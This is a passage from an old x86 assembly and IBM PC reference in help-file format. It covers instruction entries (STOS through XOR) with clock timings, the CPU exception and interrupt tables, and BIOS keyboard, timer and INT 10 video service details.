%     Operands     808x  286   386   486        Bytes

      none          2   2     2         5         1

      - see ~Instruction Timing~
```

:stos:stosb:stosw:stosd
^STOS - Store String (Byte, Word or Doubleword)

```
      Usage:      STOS  dest
            STOSB
            STOSW
            STOSD
      Modifies flags: None
```

Stores value in accumulator to location at ES:(E)DI (even if operand is given). (E)DI is incremented/decremented based on the size of

```
      the operand (or instruction format) and the state of the Direction
      Flag. Use with ~REP~ prefixes.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      dest          11  3     4         5         1  (W88=15)


      - see ~Instruction Timing~

:str
^STR - Store Task Register (286+ privileged)


      Usage:      STR   dest
      Modifies flags: None


      Stores the current Task Register to the specified operand.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16         -   2     2         2         3
      mem16         -   3     2         3         5


      - see ~Instruction Timing~

:sub
^SUB - Subtract

      Usage:      SUB   dest,src
      Modifies flags: AF CF OF PF SF ZF


      The source is subtracted from the destination and the result is
      stored in the destination.

%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg        3   2     2         1         2
      mem,reg     16+EA 7     6         3        2-4  (W88=24+EA)
      reg,mem      9+EA 7     7         2        2-4  (W88=13+EA)
      reg,immed      4   3     2         1        3-4
      mem,immed   17+EA 7     7         3        3-6  (W88=25+EA)
      accum,immed   4   3     2         1        2-3


      - see ~Instruction Timing~

:test
^TEST - Test For Bit Pattern

      Usage:      TEST  dest,src
      Modifies flags: CF OF PF SF ZF (AF undefined)


      Performs a logical ~AND~ of the two operands updating the flags
```

register without saving the result.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg       3   2     1         1         2
      reg,mem      9+EA 6     5         1        2-4  (W88=13+EA)
      mem,reg      9+EA 6     5         2        2-4  (W88=13+EA)
      reg,immed     5   3     2         1        3-4
      mem,immed   11+EA 6     5         2        3-6
      accum,immed   4   3     2         1        2-3
```

- see ~Instruction Timing~

:verr
^VERR - Verify Read (286+ protected)

Usage: VERR src
Modifies flags: ZF

Verifies the specified segment selector is valid and is readable at the current privilege level. If the segment is readable, the Zero Flag is set, otherwise it is cleared.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16         -   14    10    11           3
      mem16         -   16    11    11           5
```

- see ~Instruction Timing~

:verw
^VERW - Verify Write (286+ protected)

Usage: VERW src
Modifies flags: ZF

Verifies the specified segment selector is valid and is ratable at the current privilege level. If the segment is writable, the Zero Flag is set, otherwise it is cleared.

```
%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg16         -   14    15    11           3
      mem16         -   16    16    11           5
```

- see ~Instruction Timing~

:wait:fwait
^WAIT/FWAIT - Event Wait

Usage: WAIT
FWAIT
Modifies flags: None

CPU enters wait state until the coprocessor signals it has finished it's operation. This instruction is used to prevent the CPU from accessing memory that may be temporarily in use by the coprocessor. WAIT and FWAIT are identical.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	none	4	3	6+	1-3	1

- see ~Instruction Timing~

:wbinvd
^WBINVD - Write-Back and Invalidate Cache

Usage: WBINVD
Modifies flags: None

Flushes internal cache, then signals the external cache to write back current data followed by a signal to flush the external cache.

%		Clocks				Size
%	Operands	808x	286	386	486	Bytes
	none	-	-	-	5	2

- see ~Instruction Timing~

:xchg
^XCHG - Exchange

Usage: XCHG dest,src
Modifies flags: None

Exchanges contents of source and destination.

%		Clocks				Size	
%	Operands	808x	286	386	486	Bytes	
	reg,reg	4	3	3	3	2	
	mem,reg	17+EA	5	5	5	2-4	(W88=25+EA)
	reg,mem	17+EA	5	5	3	2-4	(W88=25+EA)
	accum,reg	3	3	3	3	1	
	reg,accum	3	3	3	3	1	

- see ~Instruction Timing~

:xlat:xlatb

^XLAT/XLATB - Translate

```
      Usage:      XLAT  translation-table
            XLATB (masm 5.x)
      Modifies flags: None


      Replaces the byte in AL with byte from a user table addressed by
      BX.  The original value of AL is the index into the translate table.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      table          11  5     5         4         1


      - see ~Instruction Timing~
```

:xor
^XOR - Exclusive OR

```
      Usage:      XOR   dest,src
      Modifies flags: CF OF PF SF ZF (AF undefined)


      Performs a bitwise exclusive OR of the operands and returns
      the result in the destination.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg        3   2     2         1         2
      mem,reg     16+EA  7     6         3        2-4  (W88=24+EA)
      reg,mem      9+EA  7     7         2        2-4  (W88=13+EA)
      reg,immed      4   3     2         1        3-4
      mem,immed   17+EA  7     7         3        3-6  (W88=25+EA)
      accum,immed    4   3     2         1        2-3


      -  see ~Instruction Timing~
```

```
@Interrupt Services DOSùBIOSùEMSùMouse
:int table:interrupt table:exceptions:IRQ
^Intel Defined CPU Exception Table (see notes)

%     Interrupt     Function

       0    Divide by zero
       1    Single step
       2    Non-maskable  (NMI)
       3    Breakpoint
       4    Overflow trap
       5    BOUND range exceeded (186,286,386)
       6    Invalid opcode (186,286,386)
       7    Coprocessor not available (286,386)
       8    Double fault exception (286,386)
       9    Coprocessor segment overrun (286,386)
       A    Invalid task state segment (286,386)
       B    Segment not present (286,386)
       C    Stack exception (286,386)
       D    General protection exception (286,386)
       E    Page fault (286,386)
       F    Reserved
      10    Coprocessor error (286,386)

^IBM PC Hardware Interrupt Table (in order of priority)

%     IRQ#  Interrupt   Function

      IRQ0   8    ~timer~ (55ms intervals, 18.2 per second)
      IRQ1   9    keyboard service required
      IRQ2   A    slave ~8259~ or EGA/VGA vertical retrace
      IRQ8  70    real time clock  (AT,XT286,PS50+)
      IRQ9  71    software redirected to IRQ2  (AT,XT286,PS50+)
      IRQ10 72    reserved  (AT,XT286,PS50+)
      IRQ11 73    reserved  (AT,XT286,PS50+)
      IRQ12 74    mouse interrupt  (PS50+)
      IRQ13 75    numeric coprocessor error  (AT,XT286,PS50+)
      IRQ14 76    fixed disk controller (AT,XT286,PS50+)
      IRQ15 77    reserved  (AT,XT286,PS50+)
      IRQ3   B    COM2 or COM4 service required, (COM3-COM8 on MCA PS/2)
      IRQ4   C    COM1 or COM3 service required
      IRQ5   D    fixed disk or data request from LPT2
      IRQ6   E    floppy disk service required
      IRQ7   F    data request from LPT1 (unreliable on IBM mono)


^Interrupt Table as Implemented by System BIOS/DOS

%      INT #   Locus         Function

       0    CPU   divide by zero
       1    CPU   single step
       2    CPU   non-maskable
       3    CPU   breakpoint
       4    CPU   overflow trap
       5    BIOS  print screen
       6    CPU   Invalid opcode (186,286,386)
       7    CPU   coprocessor not available (286,386)
       8    IRQ0  ~timer~ (55ms intervals, 18.21590 per second)
       9    IRQ1  keyboard service required (see ~INT 9~)
       A    IRQ2  slave ~8259~ or EGA/VGA vertical retrace
       B    IRQ3  COM2 service required (PS/2 MCA COM3-COM8)
       C    IRQ4  COM1 service required
```

```
 D    IRQ5  fixed disk or data request from LPT2
 E    IRQ6  floppy disk service required
 F    IRQ7  data request from LPT1 (unreliable on IBM mono)
10    BIOS  video (see ~INT 10~)
11    BIOS  Equipment determination (see ~INT 11~)
12    BIOS  memory size (see ~INT 12~)
13    BIOS  disk I/O service  (see ~INT 13~)
14    BIOS  serial communications (see ~INT 14~)
15    BIOS  system services, cassette (see ~INT 15~)
16    BIOS  keyboard services (see ~INT 16~)
17    BIOS  parallel printer (see ~INT 17~)
18    BIOS  ROM BASIC loader
19    BIOS  bootstrap loader (unreliable, see ~INT 19~)
1A    BIOS  time of day (see ~INT 1A~)
1B    BIOS  user defined ctrl-break handler (see ~INT 1B~)
1C    BIOS  user defined clock tick handler (see ~INT 1C~)
1D    BIOS  ~6845~ video parameter pointer
1E    BIOS  diskette parameter pointer (base table)
1F    BIOS  graphics character table
20    DOS   general program termination
21    DOS   function request services (see ~INT 21~)
22    DOS   terminate address (see ~INT 22~)
23    DOS   control break termination address (see ~INT 23~)
24    DOS   critical error handler (see ~INT 24~)
25    DOS   absolute disk read (see ~INT 25~)
26    DOS   absolute disk write (see ~INT 26~)
27    DOS   terminate and stay resident (see ~INT 27~)
28    DOS   idle loop, issued by DOS when idle (see ~INT 28~)
29    DOS   fast TTY console I/O (see ~INT 29~)
2A    DOS   critical section and NETBIOS (see ~INT 2A~)
2B    DOS   internal, simple ~IRET~ in DOS 2.0-5.0
2C    DOS   internal, simple IRET in DOS 2.0-5.0
2D    DOS   internal, simple IRET in DOS 2.0-5.0
2E    DOS   exec command from base level command
            interpreter (see ~INT 2E~)
2F    DOS   multiplexer (see ~INT 2F~)
30-31 CPM   far jump vector for CPM (not an interrupt)
31    DPMI  DOS Protected Mode Interface (for DOS extenders)
32          reserved
33          mouse support (see ~INT 33~)
34-3E       Microsoft/Borland floating point emulation
3F          overlay manager
40    BIOS  hard disk
41    BIOS  fixed disk 0 parameters pointer (see ~INT 13,9~)
42    BIOS  relocated video handler (EGA/VGA/PS)
43    BIOS  user font table (EGA/VGA/PS)
44    BIOS  first 128 graphics characters (also Netware)
45    BIOS  reserved for BIOS
46    BIOS  fixed disk 1 parameters ptr (see ~INT 13,9~/INT 41)
47    BIOS  reserved for BIOS
48    BIOS  PCjr cordless keyboard translation
49    BIOS  PCjr non-keyboard scancode translation table
4A    BIOS  user alarm  (AT,CONV,PS/2) (see ~INT 4A~)
4B-4F BIOS  reserved
50    BIOS  periodic alarm from timer (PS/2)
51-58 BIOS  reserved
59    BIOS  GSS Computer Graphics Interface
5A    BIOS  cluster adapter BIOS entry point
5B    BIOS  cluster adapter boot
5C    NETBIOS     NETBIOS interface, TOPS interface
5D-5F BIOS  reserved for BIOS
60-67       reserved for user software interrupts
67    EMS   LIM/EMS specification (see ~INT 67~)
```

```
68          APPC
69-6B       reserved by IBM
6C    DOS   DOS 3.2 real time clock update
      BIOS  system resume vector
6D-6F       reserved
70    IRQ8  real time clock  (AT,XT286,PS50+, see ~INT 15~)
71    IRQ9  software redirected to IRQ2  (AT,XT286,PS50+)
72    IRQ10 reserved  (AT,XT286,PS50+)
73    IRQ11 reserved  (AT,XT286,PS50+)
74    IRQ12 mouse interrupt  (PS50+)
75    IRQ13 numeric coprocessor NMI error  (AT,XT286,PS50+)
76    IRQ14 fixed disk controller (AT,XT286,PS50+)
77    IRQ15 reserved  (AT,XT286,PS50+)
78-79       unused
80-85       ROM BASIC
86-F0 DOS   reserved for BASIC interpreter use
86    NETBIOS     NETBIOS relocated INT 18
E0    CPM   CP/M 86 function calls
F1-FF       reserved by IBM
FE-FF       may be destroyed by return from protected
            mode using VDISK on 286 machines (Apr 86, DDJ)
```

```
- Intel defined 0 through 20h for use for internal CPU;  IBM
  redefined interrupts 0 through 1Fh for its own use, hence
  the duplicate definitions in the tables
- all interrupts except the internal CPU exceptions push the
  flags and the CS:IP of the next instruction onto the stack.
  CPU exception interrupts are similar but push the CS:IP of the
  causal instruction.  8086/88 divide exceptions are different,
  they return to the instruction following the division
- interrupts are disabled upon entry into any interrupt routine and
  should be enabled by the user or by an ~IRET~
- in DOS 3.2+ hardware IRQ interrupts are re-vectored through DOS
  to provide standard stack frames
```

```
:int 5
^INT 5 - Print Screen


      no input data


%     related memory:

      50:00 = 00  Print screen has not been called, or upon return
                  from a call there were no errors
            = 01  Print screen is already in progress
            = FF  Error encountered during printing


      - invoked from ~INT 9~

:int 8:BIOS timer interrupt
^INT 8 - System timer

      no input data

%     related memory:

      40:6C = Daily timer counter (4 bytes)
      40:70 = 24 hr overflow flag (1 byte)
      40:67 = Day counter on all products after AT
```

```
      40:40 = Motor shutoff counter - decremented until 0 then
            shuts off diskette motor


      - ~INT 1C~ is invoked as a user interrupt
      - the byte at 40:70 is a flag that certain DOS functions use
        and adjust the date if necessary.  Since this is a flag and
        not a counter it results in DOS (not the ~RTC~) losing days
        when several midnights pass before a DOS call
      - generated 18.2 times per second by the ~8253~ Programmable Interval
        Timer (PIT)
      - normal INT 8 execution takes approximately 100 microseconds

      - see ~8253~

:int 9:keyboard interrupt
^INT 9 - Keyboard Interrupt (Hardware Handler)

      no input data

%     related memory:

      40:17 = updates keyboard flag byte 0
      40:18 = updates keyboard flag byte 1
      40:1A = queue head ptr is set to buffer start if Ctrl-Break is hit
      40:1C = updates buffer tail pointer for each keystroke; sets
            queue tail ptr is set to queue start if Ctrl-Break is hit
      40:1E = updates keyboard buffer (32 bytes)
      40:71 = updates bit 7 of the BIOS break flag if Ctrl-Break is hit
      40:72 = updates reset flag with 1234H if Ctrl-Alt-Del pressed
      40:96 = indicates keyboard type (AT,PS/2)
      40:97 = updates keyboard LED flags (AT,PS/2)
      FFFF:0 = reboot code called if Ctrl-Alt-Del pressed

%     related interrupts:

      ~INT 5~     invoked if print screen key pressed
      ~INT 1B~    invoked if Ctrl-Break key sequence pressed
      ~INT 15,85~ invoked on AT if system request key is pressed
      ~INT 15,4F~ invoked on machines after PC/AT with AL = scan code


      - records key press and key release via IRQ1/8259 and
        stores scan codes in the BIOS buffer located at 40:1C
      - keyboard controllers also buffer data when interrupts are
        disabled at the ~8259~ interrupt controller
      - keyboard controller is capable of storing 16 keystrokes
        even when interrupts are disabled at the 8259
      - normal INT 9 execution takes approximately 500 microseconds;
        at least one standard XT BIOS is known to take up to 1.3
        milliseconds to execute

      - see ~MAKE CODES~   ~KB FLAGS~

:int 10:BIOS video services:video interrupt
^INT 10 - Video BIOS Services

%     For more information, see the following topics:

       ~INT 10,0~ - Set video mode
       ~INT 10,1~ - Set cursor type
       ~INT 10,2~ - Set cursor position
       ~INT 10,3~ - Read cursor position
```

```
 ~INT 10,4~ - Read light pen
 ~INT 10,5~ - Select active display page
 ~INT 10,6~ - Scroll active page up
 ~INT 10,7~ - Scroll active page down
 ~INT 10,8~ - Read character and attribute at cursor
 ~INT 10,9~ - Write character and attribute at cursor
 ~INT 10,A~ - Write character at current cursor
 ~INT 10,B~ - Set color palette
 ~INT 10,C~ - Write graphics pixel at coordinate
 ~INT 10,D~ - Read graphics pixel at coordinate
 ~INT 10,E~ - Write text in teletype mode
 ~INT 10,F~ - Get current video state
~INT 10,10~ - Set/get palette registers (EGA/VGA)
~INT 10,11~ - Character generator routine (EGA/VGA)
~INT 10,12~ - Video subsystem configuration (EGA/VGA)
~INT 10,13~ - Write string (BIOS after 1/10/86)
~INT 10,14~ - Load LCD char font (convertible)
~INT 10,15~ - Return physical display parms (convertible)
~INT 10,1A~ - Video Display Combination (VGA)
~INT 10,1B~ - Video BIOS Functionality/State Information (MCGA/VGA)
~INT 10,1C~ - Save/Restore Video State  (VGA only)
~INT 10,FE~ - Get DESQView/TopView Virtual Screen Regen Buffer
~INT 10,FF~ - Update DESQView/TopView Virtual Screen Regen Buffer


Warning: Some BIOS implementations have a bug that causes register
BP to be destroyed.   It is advisable to save BP before a call to
Video BIOS routines on these systems.

- registers CS, DS, ES, SS, BX, CX, DX are preserved unless
  explicitly changed
- see  ~INT 1F~  ~INT 1D~  ~INT 29~  ~INT 21,2~  ~INT 21,6~  ~INT 21,9~
```

```
:int 10,0:video modes
^INT 10,0 - Set Video Mode

      AH = 00
      AL = 00  40x25 B/W text (CGA,EGA,MCGA,VGA)
         = 01  40x25 16 color text (CGA,EGA,MCGA,VGA)
         = 02  80x25 16 shades of gray text (CGA,EGA,MCGA,VGA)
         = 03  80x25 16 color text (CGA,EGA,MCGA,VGA)
         = 04  320x200 4 color graphics (CGA,EGA,MCGA,VGA)
         = 05  320x200 4 color graphics (CGA,EGA,MCGA,VGA)
         = 06  640x200 B/W graphics (CGA,EGA,MCGA,VGA)
         = 07  80x25 Monochrome text (MDA,HERC,EGA,VGA)
         = 08  160x200 16 color graphics (PCjr)
         = 09  320x200 16 color graphics (PCjr)
         = 0A  640x200 4 color graphics (PCjr)
         = 0B  Reserved (EGA BIOS function 11)
         = 0C  Reserved (EGA BIOS function 11)
         = 0D  320x200 16 color graphics (EGA,VGA)
         = 0E  640x200 16 color graphics (EGA,VGA)
         = 0F  640x350 Monochrome graphics (EGA,VGA)
         = 10  640x350 16 color graphics (EGA or VGA with 128K)
             640x350 4 color graphics (64K EGA)
         = 11  640x480 B/W graphics (MCGA,VGA)
         = 12  640x480 16 color graphics (VGA)
         = 13  320x200 256 color graphics (MCGA,VGA)
         = 8x  EGA, MCGA or VGA ignore bit 7, see below
         = 9x  EGA, MCGA or VGA ignore bit 7, see below


      - if AL bit 7=1, prevents EGA,MCGA & VGA from clearing display
```

- function updates byte at 40:49; bit 7 of byte 40:87 (EGA/VGA Display Data Area) is set to the value of AL bit 7

:int 10,1
^INT 10,1 - Set Cursor Type

AH = 01
CH = cursor starting scan line (cursor top) (low order 5 bits)
CL = cursor ending scan line (cursor bottom) (low order 5 bits)

returns nothing

- cursor scan lines are zero based
- cursor size can also be set via the ~6845~ CRT controller
- cursor size can be determined using the CRTC, ~INT 10,3~ or the ~BIOS Data Area~ bytes 40:60 (ending scan line) and 40:61 (starting scan line)
- the following is a list of the cursor scan lines associated with most common adapters; screen sizes over 40 lines may differ depending on adapters.

% Video	Line Count	Starting Scan Line	Ending Scan Line	Character Point Size
CGA	25	06	07	08
MDA	25	0B	0C	0E
EGA	25	06	07	0E
EGA	43	04/06	07	08
VGA	25	0D	0E	10
VGA	40	08	09	0A
VGA	50	06	07	08

- use CX = 2000h to disable cursor

:int 10,2
^INT 10,2 - Set Cursor Position

AH = 02
BH = page number (0 for graphics modes)
DH = row
DL = column

returns nothing

- positions relative to 0,0 origin
- 80x25 uses coordinates 0,0 to 24,79; 40x25 uses 0,0 to 24,39
- the ~6845~ can also be used to perform this function
- setting the data in the BIOS Data Area at location 40:50 does not take immediate effect and is not recommended
- see ~VIDEO PAGES~ ~6845~ ~BDA~

:int 10,3
^INT 10,3 - Read Cursor Position and Size

AH = 03
BH = video page

```
	on return:
	CH = cursor starting scan line (low order 5 bits)
	CL = cursor ending scan line (low order 5 bits)
	DH = row
	DL = column


	- returns data from ~BIOS DATA AREA~ locations 40:50, 40:60 and 40:61
	- the ~6845~ can also be used to read the cursor position
	- the return data can be circumvented by direct port I/O to the 6845
	  CRT Controller since this function returns the data found in the
	  BIOS Data Area without actually checking the controller

:int 10,4
^INT 10,4 - Read Light Pen Position


	AH = 04


	on return:
	AH = 0	light pen switch not triggered
	   = 1	light pen triggered
	BX = pixel column (0-319 or 0-639, mode dependent)
	CH = raster line (0-199) (CGA and EGA modes 4, 5 and 6)
	CX = raster line (EGA modes except 4, 5 and 6)
	DH = row (0-24)
	DL = column (0-79 or 0-79 mode dependent)


	- data returned as a byte coordinate, leaving horizontal
	  accuracy to within 2 pixels (320) or 4 pixels (640)
	- vertical accuracy within 2 lines
	- PS/2's don't support the light pen interface

:int 10,5
^INT 10,5 - Select Active Display Page

	AH = 05
	AL = new page number, see ~VIDEO PAGES~

	for PCjr only:
	AL = 80h to read CRT/CPU page registers
	     81h to set CPU page register
	       BL = CPU page register
	     82h to set CRT page register
	       BH = CRT page register
	     83h to set CPU and page registers
	       BH = CRT page register
	       BL = CPU page register


	on return: (PCjr only)
	BH = CRT page register
	BL = CPU page register

:int 10,6
^INT 10,6 - Scroll Window Up


	AH = 06
```

```
      AL = number of lines to scroll, previous lines are
           blanked, if 0 or AL > screen size, window is blanked
      BH = attribute to be used on blank line
      CH = row of upper left corner of scroll window
      CL = column of upper left corner of scroll window
      DH = row of lower right corner of scroll window
      DL = column of lower right corner of scroll window


      returns nothing


      - in video mode 4 (300x200 4 color) on the EGA, MCGA and VGA
        this function scrolls page 0 regardless of the current page
      - can be used to scroll graphics screens, using character coords
      - on CGA's this function disables video adapter, causing flitter
:int 10,7
^INT 10,7 - Scroll Window Down


      AH = 07
      AL = number of lines to scroll, previous lines are
           blanked, if 0 or AL > screen size, window is blanked
      BH = attribute to be used on blank line
      CH = row of upper left corner of scroll window
      CL = column of upper left corner of scroll window
      DH = row of lower right corner of scroll window
      DL = column of lower right corner of scroll window


      returns nothing


      - in video mode 4 (300x200 4 color) on the EGA, MCGA and VGA
        this function scrolls page 0 regardless of the current page
      - can be used to scroll graphics screens, using character coords
      - on CGA's this function disables video adapter, causing flitter

:int 10,8
^INT 10,8 - Read Character and Attribute at Cursor Position


      AH = 08
      BH = display page


      on return:
      AH = attribute of character (alpha modes only)
      AL = character at cursor position


      - in video mode 4 (300x200 4 color) on the EGA, MCGA and VGA
        this function works only on page zero

:int 10,9
^INT 10,9 - Write Character and Attribute at Cursor Position


      AH = 09
      AL = ASCII character to write
      BH = display page  (or mode 13h, background pixel value)
      BL = character attribute (text) foreground color (graphics)
      CX = count of characters to write (CX >= 1)
```

```
      returns nothing


      - does not move the cursor
      - in graphics mode (except mode 13h), if BL bit 7=1 then
        value of BL is XOR'ed with the background color

:int 10,a
^INT 10,A - Write Character Only at Current Cursor Position


      AH = 0A
      AL = ASCII character to write
      BH = display page  (or mode 13h, background pixel value)
      BL = foreground color (graphics mode only)
      CX = count of characters to write (CX >= 1)


      return nothing


      - similar to ~INT 10,9~ except color ignored in text modes

:int 10,b
^INT 10,B - Set Color Palette

      AH = 0B
      BH = palette color ID
         = 0      to set background and border color
         = 1      to select 4 color palette
      BL = color value (when BH = 0)
         = palette value (when BH = 1)

      Palette    Pixel   Color
         0       0         current background color
                 1         green (2)
                 2         red (4)
                 3         brown (6)
         1       0         current background color
                 1         cyan (3)
                 2         magenta (5)
                 3         white (7)

      - does not work for all EGA and VGA video modes
      - sets border color in text mode (BH = 0)

:int 10,c
^INT 10,C - Write Graphics Pixel at Coordinate


      AH = 0C
      AL = color value (XOR'ED with current pixel if bit 7=1)
      BH = page number, see ~VIDEO PAGES~
      CX = column number (zero based)
      DX = row number (zero based)


      returns nothing


      - if bit 7 is 1, color specified is XOR'ed with current pixel
```

```
      - page number in BH ignored for 320x200 4 color graphics mode
      - this function is known to destroy AX and possibly SI and DI on
        on some PS/2 VGA systems

:int 10,d
^INT 10,D - Read Graphics Pixel at Coordinate


      AH = 0D
      BH = page number, see ~VIDEO PAGES~
      CX = column number (zero based)
      DX = row number (zero based)


      on return:
      AL = color of pixel read


      - 64K IBM EGAs with BIOS dated 9/13/84 in 350 line video
        modes,  return invalid data in AL
      - page number in BH ignored for 320x200 4 color graphics mode

:int 10,e
^INT 10,E - Write Text in Teletype Mode


      AH = 0E
      AL = ASCII character to write
      BH = page number (text modes)
      BL = foreground pixel color (graphics modes)


      returns nothing


      - cursor advances after write
      - characters BEL (7), BS (8), LF (A), and CR (D) are
        treated as control codes
      - for some older BIOS (10/19/81), the BH register must point
        to the currently displayed page
      - on CGA adapters this function can disable the video signal while
        performing the output which causes flitter.

:int 10,f
^INT 10,F - Get Video State


      AH = 0F


      on return:
      AH = number of screen columns
      AL = mode currently set (see ~VIDEO MODES~)
      BH = current display page


      - video modes greater than 13h on EGA, MCGA and VGA indicate
        ~INT 10,0~ was called with the high bit of the mode (AL) set
        to 1, meaning the display does not need cleared
      - function returns byte value at 40:49;  On EGA, MCGA and
        VGA bit 7 of register AL is determined by bit 7 of BIOS Data
        Area byte 40:87.   This bit is usually set by INT 10,0
        with bit 7 of the requested mode (in AL) set to 1
```

```
:int 10,10
^INT 10,10 - Set/Get Palette Registers (EGA/VGA)

      AH = 10h

%     AL = 00  set individual palette register
         BH = color value
         BL = palette register


%     AL = 01  set border color (overscan register)
         BH = color value


%     AL = 02  set all palette registers and border
         ES:DX = pointer to 17 byte table representing 16 palette
               registers and border color register


%     AL = 03  toggle intensity/blinking (EGA)
         BL = 0  enable intensity
            1  enable blinking


%     AL = 07  read palette register (PS/2)
         BL = palette register to read (0-15)

      on return:
        BH = value of palette register


%     AL = 08  read border color (overscan register, PS/2)

      on return:
        BH = value of border color (overscan register)


%     AL = 09  read palette registers and border (PS/2)
         ES:DX = pointer to 17 byte table representing 16 palette
               registers and border color register

      on return:
      ES:DX = pointer to table provided as input


%     AL = 10  set DAC color register
         BX = color register to set
         CH = green value
         CL = blue value
         DH = red value


%     AL = 12  set block of DAC color registers
         BX = first color register to set
         CX = number of color registers to set
         ES:DX = pointer to table of color values to set


%     AL = 13  set attribute controller color select state
         BL = 0  set Mode Control register bit 7
            BH = value for bit 7
         BL = 1  set color select register
```

```
            BH = value for color select register


%     AL = 15  read DAC color register (PS/2)
         BX = color register to read

      on return:
      CH = green value
      CL = blue value
      DH = red value


%     AL = 17  read block of DAC color registers
         BX = first color register to read
         CX = number of color registers to read
         ES:DX = pointer to buffer for color registers

      on return:
      ES:DX = pointer to color table provided as input


%     AL = 18  update video DAC mask register
         BL = new mask


%     AL = 19  read video DAC mask register

      on return:
      BL = value read from video DAC mask register


%     AL = 1A  read color page state
         BL = bit 7 of Mode Control Register
         BH = bits 2 thru 3 of Color select register if BL = 0
            = bits 0 thru 3 of Color select register if BL = 1

      on return:
      BL = current paging mode
      CX = current page



%     AL = 1B  sum color values to shades of gray
         BX = first color register to sum
         CX = number of color registers to sum


      - controls the pixel color mapping bit values
      - BIOS extension to EGA/VGA systems

:int 10,11
^INT 10,11 - Character Generator Routine (EGA/VGA)

      AH = 11h

%     AL = 00  user character load
         BH = number of bytes per character
         BL = table in character generator RAM
         CX = count of characters in table
         DX = ASCII code of first character defined
         ES:BP = pointer to user table
```

```
%     AL = 01  ROM BIOS 8x14 monochrome set
         BL = table in character generator RAM


%     AL = 02  ROM BIOS 8x8 double dot
         BL = table in character generator RAM


%     AL = 03  set displayed definition table
         BL = value for character Map Select register (EGA,VGA)
            = character generator RAM table numbers (MCGA)


%     AL = 04  ROM BIOS 8x16 character set
         BL = table in character generator RAM


%     AL = 10  user specified character definition table
         BH = bytes per character (points)
         BL = table in character generator RAM
         CX = number of characters defined in table
         DX = ASCII code of first character defined
         ES:BP = pointer to user table


%     AL = 11  ROM BIOS 8x14 monochrome character set
         BL = table in character generator RAM


%     AL = 12  ROM 8x8 double dot character definitions
         BL = table in character generator RAM


%     AL = 14  ROM 8x16 double dot character definitions
         BL = table in character generator RAM


%     AL = 20  pointer to graphics character table for ~INT 1F~ (8x8)
         ES:BP = pointer to user table


%     AL = 21  user graphics character pointer at INT 43
         BL = row specifier
            = 0 - user specified  (DL = rows)
            = 1 is 14 rows
            = 2 is 25 rows
            = 3 is 43 rows
         CX = bytes per character (points)
         DL = rows (when BL = 0)
         ES:BP = pointer to user table


%     AL = 22  ROM 8x14 character set
         BL = number of rows (see AL=21)
         DL = rows (when BL = 0)


%     AL = 23  ROM 8x8 double dot character set
         BL = row specifier (see AL=21)
         DL = rows (when BL = 0)


%     AL = 24  ROM 8x16 character set
```

```
           BL = row specifier (see AL=21)
           DL = rows (when BL = 0)


%      AL = 30  get current character generator information
           BH = information desired:
              = 0  ~INT 1F~ pointer
              = 1  INT 44h pointer
              = 2  ROM 8x14 pointer
              = 3  ROM 8x8 double dot pointer (base)
              = 4  ROM 8x8 double dot pointer (top)
              = 5  ROM 9x14 alpha alternate pointer
              = 6  ROM 8x16 character table pointer
              = 7  ROM 9x16 alternate character table pointer

        on return:
        CX = bytes per character (points)
        DL = rows (less 1)
        ES:BP = pointer to table

:int 10,12
^INT 10,12 - Video Subsystem Configuration (EGA/VGA)

        AH = 12h


%      BL = 10  return video configuration information

        on return:
        BH = 0 if color mode in effect
           = 1 if mono mode in effect
        BL = 0 if 64k EGA memory
           = 1 if 128k EGA memory
           = 2 if 192k EGA memory
           = 3 if 256k EGA memory
        CH = feature bits
        CL = switch settings


%      BL = 20  select alternate print screen routine

%      BL = 30  select scan lines for alphanumeric modes
           AL = 0  200 scan lines
              = 1  350 scan lines
              = 2  400 scan lines

        on return:
        AL = 12


%      BL = 31  select default palette loading
           AL = 0 enable default palette loading
              = 1 disable default palette loading

        on return:
        AL = 12


%      BL = 32  CPU access to video RAM
           AL = 0  enable CPU access to video RAM and I/O ports
              = 1  disable CPU access to video RAM and I/O ports

        on return:
```

```
        AL = 12


%       BL = 33  Gray scale summing
           AL = 0  enable gray scale summing
              = 2  disable gray scale summing

        on return:
        AL = 12


%       BL = 34  cursor emulation
           AL = 0  enable cursor emulation
              = 1  disable cursor emulation

        on return:
        AL = 12


%       BL = 35  PS/2 video display switching
           AL = 0 initial adapter video off
              = 1 initial planar video on
              = 2 switch active video off
              = 3 switch inactive video on
           ES:DX pointer to 128 byte save area (when AL = 0, 2 or 3)

        on return:
        AL = 12


%       BL = 36  video refresh control
           AL = 0 enable refresh
              = 1 disable refresh

        on return:
        AL = 12

:int 10,13
^INT 10,13 - Write String (BIOS versions from 1/10/86)

        AH = 13h
        AL = write mode (see bit settings below)
           = 0 string is chars only, attribute in BL, cursor not moved
           = 1 string is chard only, attribute in BL, cursor moved
           = 2 string contains chars and attributes, cursor not moved
           = 3 string contains chars and attributes, cursor moved
        BH = video page number
        BL = attribute if mode 0 or 1 (AL bit 1=0)
        CX = length of string (ignoring attributes)
        DH = row coordinate
        DL = column coordinate
        ES:BP = pointer to string


        Bit settings for write mode (register AL):

        ³7³6³5³4³3³2³1³0³  AL
         ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 0=don't move cursor, 1=move cursor
         ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 0=BL has attributes, 1=string has attributes
         ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄ unused


        returns nothing
```

```
      - BEL, BS, CR, LF are treated as ASCII control codes
      - wraps data and scrolls if unable to fit data on one line

:int 10,14
^INT 10,14 - Load LCD Character Font (convertible only)

      AH = 14h

%     AL = 0 - load user specified font
         ES:DI = pointer to character font
         CX = number of characters to store
         DX = char offset into ram font area
         BH = number of bytes per character
         BL = 0  load main font (block 0)
            = 1  load alternate font (block 1)

%     AL = 1 - load system ROM default font
         BL = 0  load main font (block 0)
            = 1  load alternate font (block 1)

%     AL = 2 - set mapping of LCD high intensity attribute
         BL = 0  ignore high intensity attribute
            = 1  map high intensity to underscore
            = 2  map high intensity to reverse video
